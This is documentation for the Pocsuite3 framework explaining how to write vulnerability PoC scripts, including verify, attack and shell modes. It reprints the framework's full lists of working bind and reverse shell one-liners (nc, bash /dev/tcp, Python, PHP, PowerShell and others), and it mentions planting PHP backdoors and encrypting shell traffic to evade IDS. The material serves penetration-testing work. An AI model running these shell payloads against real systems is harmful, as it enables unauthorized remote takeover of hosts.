Write PoC
This section introduces how to write a PoC using Pocsuite3.
Pocsuite3 only supports Python 3.x. To write PoC in Python3 format, developers need basic Python3 knowledge.
Start From Scratch
First create a
*.py
file, Naming Convention refer to: "PoC Naming Convention"Import the classes and methods from
pocsuite3.api
, and write the PoC classDemoPOC
, which inherits from thePoCBase
class.
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class DemoPOC(POCBase):
...
- Fill in the PoC attribute fields, Please fill in all attribute fields carefully
TIP
None of these fields are must required and can be left blank
vulID = '99335' # Seebug SSVID, default is 0
version = '1' # The version of the PoC, defaults is 1
author = 'seebug' # PoC author
vulDate = '2021-8-18' # Vulnerability disclosure date (%Y-%m-%d)
createDate = '2021-8-20' # PoC create date (%Y-%m-%d)
updateDate = '2021-8-20' # PoC update date (%Y-%m-%d)
references = ['https://www.seebug.org/vuldb/ssvid-99335'] # Advisory URL
name = 'Fortinet FortiWeb Post-Auth RCE (CVE-2021-22123)' # <vendor> <component> <version> <vulnerability type> <cve number>
appPowerLink = 'https://www.fortinet.com' # Vendor homepage
appName = 'FortiWeb' # Product or component name
appVersion = '<=6.4.0' # Affected version
vulType = 'Code Execution' # Vulnerability type
desc = 'The parameter name in /api/v2.0/user/remoteserver.saml contains a command injection vulnerability.' # Vulnerability description
samples = ['http://192.168.1.1']
install_requires = ['BeautifulSoup4:bs4'] # PoC third-party module dependencies
pocDesc = ''' Usage description of PoC '''
category = POC_CATEGORY.EXPLOITS.WEBAPP # PoC category
protocol = POC_CATEGORY.PROTOCOL.HTTP # PoC protocol
protocol_default_port = 8443 # Target default port, used for URL formatting when the provided target does not contain a port
dork = {'zoomeye': 'deviceState.admin.hostname'} # Cyberspace serach engine dork
suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # suricata rule of request
suricata_response = '' # suricata rule of response
- Write code for verify mode
def _verify(self):
output = Output(self)
# TODO
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
output
is the standard output API of Pocsuite3. If you want to print success information, use output.success(result)
, if you want to print failure information, use output.fail()
. The system automatically catches exceptions, no need to handle exceptions in PoC. It is recommended to use the parse_output()
function in PoCBase to return results.
def _verify(self, verify=True):
result = {}
...
return self.parse_output(result)
# PoCBase
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail()
return output
TIP
In self.parse_output(result)
, if result is not empty, it will return success information (PoC verification is successful), otherwise it will return failure information.
- Write code for attack mode
Attack mode support operations like getshell, checking admin's username and password. It can be defined in the similar way as verify mode.
def _attack(self):
output = Output(self)
result = {}
# TODO
Like verify mode, after successful attack, it is needed to save the result to result
parameter and call self.parse_output(result)
to return.
TIP
If the PoC doesn't support attack mode, you can add return self._verify()
under _attack()
function. Then there is no need for you to rewrite _attack()
function.
- Write code for shell mode
Pocsuite3 will listen to 6666
in shell mode by default. Then write corresponding attack code, let the victim connect to the 6666
port of the system with Pocsuite3 running, then you can get shell of the victim's computer.
def _shell(self):
cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
# execute cmd
In shell mode, you can only run one PoC script at the same time as the console will enter the shell interaction mode, execute command and print.
From Version 1.8.5, Pocsuite3 supports bind shell. The operation method is the same as before. You need to designate ip and port. IP can be a private IP in the local network or a public IP address of your server.
The implementation of bind shell is located at ./pocsuite3/modules/listener/bind_tcp.py
. It implements a third layer, which connects the bind shell (eg., telnet, nc, php single line shell) and the IP/port user designated to use. Using that, the shell mode can run in the private network, and doesn't subject to the network restriction.
Pocsuite3 supports three types of bind shell as following.
bind_shell
: Genearal method, directly use it by return bind_shell(self, rce_func)
in shell mode. For the vulnerabilities which you can get the execution result, you can define a rce function(you can use anything you like as the function name) . The function's parameter is the command input, and the output is the execution result. If no result you can get, it is possible to write a one-line backdoor to convert it to the previous one. Which is worth noticing is that users can also implement traffic encryption method to avoid IDS detection.
bind_tcp_shell
: Support tcp bind shell. Using return bind_tcp_shell(bind_shell_ip, bind_shell_port)
in shell mode.
bind_telnet_shell
: Support telnet service. Using return bind_telnet_shell(ip, port, username, password)
in shell mode.
For example, telnet weak credential implementation in shell mode. It works with one line code.
def _shell(self):
return bind_telnet_shell(ip, port, 'iot', '***')
In the php environment, write a php backdoor in the target, and then implement the AES encryption and decryption of the traffic in the _rce
method:
It is worth mentioning that for the vulnerability that can obtain the execution result, we only need to define a _exploit
method in the PoC, and then you can easily implement the three modes of _verify
, _attack
, _shell
, as follows :
# TODO
def _exploit(self, cmd='id'):
result = ''
res = requests.get(self.url)
logger.debug(res.text)
result = res.text
return result
def _verify(self):
result = {}
if not self._check():
return self.parse_output(result)
flag = random_str(10)
cmd = f'echo {flag}'
res = self._exploit(cmd)
if flag in res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][cmd] = res
return self.parse_output(result)
def _options(self):
o = OrderedDict()
o['cmd'] = OptString('id', description='The command to execute')
return o
def _attack(self):
result = {}
if not self._check():
return self.parse_output(result)
cmd = self.get_option('cmd')
res = self._exploit(cmd)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][cmd] = res
return self.parse_output(result)
def _shell(self):
return bind_shell(self, '_exploit')
From version 1.8.6, Pocsuite3 supports encrypted shell. Use the openssl reverse shell payload in the PoC, and specify the --tls
option at the runtime.
As you see, the traffic is encrypted:
List of Pocsuite3 Payloads:
In [1]: from pocsuite3.api import BIND_PAYLOAD, REVERSE_PAYLOAD
In [2]: BIND_PAYLOAD.__dict__
Out[2]:
mappingproxy({'__module__': 'pocsuite3.modules.listener.bind_tcp',
'NODE': 'node -e \'sh=child_process.spawn("/bin/sh");net.createServer(function(client){{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}}).listen("{0}")\'',
'NC': 'nc -l -p {0} -e /bin/sh',
'SOCAT': 'socat TCP-LISTEN:{0},reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane',
'PYTHON': 'python -c \'import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",{0}));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call(["/bin/sh","-i"])\'',
'PERL': 'perl -e \'use Socket;$p={0};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){{open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");}};\'',
'PHP': 'php -r \'$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",{0});socket_listen($s,1);$cl=socket_accept($s);while(1){{if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){{$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}}}\'',
'RUBY': 'ruby -rsocket -e \'exit if fork;s=TCPServer.new("{0}");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,"r"){{|io|c.print io.read}}end;end\'',
'NC2': 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvp {0} >/tmp/f',
'AWK': 'awk \'BEGIN{{s="/inet/tcp/{0}/0/0";do{{if((s|&getline c)<=0)break;if(c){{while((c|&getline)>0)print $0|&s;close(c)}}}} while(c!="exit")close(s)}}\'',
'TELNETD': 'telnetd -l /bin/sh -p {0}',
'NC3': 'rm -rf /tmp/f;mkfifo /tmp/f||mknod /tmp/f p;(nc -l -p {0}||nc -l {0})0</tmp/f|/bin/sh>/tmp/f 2>&1;rm /tmp/f',
'R': 'R -e "s<-socketConnection(port={0},blocking=TRUE,server=TRUE,open=\'r+\');while(TRUE){{writeLines(readLines(pipe(readLines(s,1))),s)}}"',
'__dict__': <attribute '__dict__' of 'BIND_PAYLOAD' objects>,
'__weakref__': <attribute '__weakref__' of 'BIND_PAYLOAD' objects>,
'__doc__': None})
In [3]: REVERSE_PAYLOAD.__dict__
Out[3]:
mappingproxy({'__module__': 'pocsuite3.modules.listener.reverse_tcp',
'NC': 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f',
'NC2': 'nc -e /bin/sh {0} {1}',
'NC3': 'rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p',
'BASH0': 'sh -i >& /dev/tcp/{0}/{1} 0>&1',
'BASH': "bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'",
'BASH2': "bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'",
'TELNET': 'rm -rf /tmp/p;mkfifo /tmp/p||mknod /tmp/p p;telnet {0} {1} 0</tmp/p|/bin/sh 1>/tmp/p',
'PERL': 'perl -e \'use Socket;$i="{0}";$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};\'',
'PYTHON': 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',
'PHP': 'php -r \'$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");\'',
'RUBY': 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{0}","{1}");while(cmd=c.gets);IO.popen(cmd,"r"){{|io|c.print io.read}}end\'',
'JAVA': 'r = Runtime.getRuntime()\np = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{0}/{1};cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])\np.waitFor()',
'POWERSHELL': "$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([textencoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()",
'OPENSSL': 'rm -rf /tmp/s;mkfifo /tmp/s||mknod /tmp/s p;/bin/sh -i </tmp/s 2>&1|openssl s_client -quiet -connect {0}:{1}>/tmp/s;rm -rf /tmp/s',
'PHP_SSL': 'php -r \'$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://{0}:{1}",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){{while($l=fgets($s)){{exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}}}\'&',
'NC4': 'nc {0} {1} -e /bin/sh',
'BASH3': "bash -c '0<&173-;exec 173<>/dev/tcp/{0}/{1};sh <&173 >&173 2>&173'",
'TELNET2': 'rm -f /tmp/p; mknod /tmp/p p && telnet {0} {1} 0/tmp/p',
'NC5': 'rm -rf /tmp/p;mkfifo /tmp/p||mknod /tmp/p p;nc {0} {1} 0</tmp/p|/bin/sh 1>/tmp/p',
'LUA': 'lua -e "local s=require(\'socket\');local t=assert(s.tcp());t:connect(\'{0}\',{1});while true do local r,x=t:receive();local f=assert(io.popen(r,\'r\'));local b=assert(f:read(\'*a\'));t:send(b);end;f:close();t:close();"',
'PERL_SSL': 'perl -e \'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"{0}:{1}",SSL_verify_mode=>0);while(sysread($c,$i,8192)){{syswrite($c,`$i`);}}\'',
'RUBY2': 'ruby -rsocket -e\'f=TCPSocket.open("{0}",{1}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\'',
'RUBY_SSL': 'ruby -rsocket -ropenssl -e \'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("{0}","{1}")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,"r"){{|io|c.print io.read}}end\'',
'NCAT_SSL': 'ncat -e /bin/sh --ssl {0} {1}',
'__dict__': <attribute '__dict__' of 'REVERSE_PAYLOAD' objects>,
'__weakref__': <attribute '__weakref__' of 'REVERSE_PAYLOAD' objects>,
'__doc__': None})
In [8]: REVERSE_PAYLOAD.BASH.format('127.0.0.1', 6666)
Out[8]: "bash -c 'sh -i >& /dev/tcp/127.0.0.1/6666 0>&1'"
- Return results
In both verification mode and attack mode, result should be compliance with the following convention. Please refer to "PoC Result Convention" for the meaning of each fileld.
'Result': {
'DBInfo': {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx', 'Uid': 'xxx', 'Groupid': 'xxx'},
'ShellInfo': {'URL': 'xxx', 'Content': 'xxx'},
'FileInfo': {'Filename': 'xxx', 'Content': 'xxx'},
'XSSInfo': {'URL': 'xxx', 'Payload': 'xxx'},
'AdminInfo': {'Uid': 'xxx', 'Username': 'xxx', 'Password': 'xxx'},
'Database': {'Hostname': 'xxx', 'Username': 'xxx', 'Password': 'xxx', 'DBname': 'xxx'},
'VerifyInfo': {'URL': 'xxx', 'Postdata': 'xxx', 'Path': 'xxx'},
'SiteAttr': {'Process': 'xxx'},
'Stdout': 'result output string'
}
- Register PoC
Call register_poc()
outside the class to register PoC class
class DemoPOC(POCBase):
# POC inner
# register DemoPOC class
register_poc(DemoPOC)
Now, we develop the PoC from scratch. Then we will build the vulnerability testing environment for PoC debugging.
Automatically Generated Template
The above process is a little tedious,Pocsuite3 supports template generation using -n
or --new
since 1.9.4
version.
Reference: PoC Writing Example
──(kali㉿kali)-[/tmp/]
└─$ pocsuite -n
,------. ,--. ,--. ,----. {1.9.6-aad0be3}
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' https://pocsuite.org
[*] starting at 20:40:34
You are about to be asked to enter information that will be used to create a poc template.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
-----
Seebug ssvid (eg, 99335) [0]:
PoC author (eg, Seebug) []:
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-14]:
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) []:
Vulnerability CVE number (eg, CVE-2021-22123) []:
Vendor name (eg, Fortinet) []:
Product or component name (eg, FortiWeb) []:
Affected version (eg, <=6.4.0) []:
Vendor homepage (eg, https://www.fortinet.com) []:
0 Arbitrary File Read
1 Code Execution
2 Command Execution
3 Denial Of service
4 Information Disclosure
5 Login Bypass
6 Path Traversal
7 SQL Injection
8 SSRF
9 XSS
Vulnerability type, choose from above or provide (eg, 3) []:
Authentication Required (eg, yes) [no]:
PoC name [Pre-Auth Other]:
Filepath in which to save the poc [./20220714_pre-auth_other.py]
[20:40:36] [INFO] Your poc has been saved in ./20220714_pre-auth_other.py :)
...
Minimal PoC Template
From version 1.9.8, Pocsuite3 sets default values for all PoC attribute field in POCBase. So in a PoC, any attribute field is optional, which simplifies the development of the PoC.
from pocsuite3.api import *
class TestPOC(POCBase):
# Providing the name field is recommended to differentiate between different PoC
# name = ''
def _verify(self):
result = {}
# TODO, Vulnerability verification
return self.parse_output(result)
register_poc(TestPOC)
YAML Based PoC
From version 2.0.0, Pocsuite3 support YAML based PoC, compatible with nuclei templates.
Guide to write your own nuclei template: nuclei-templating-guide.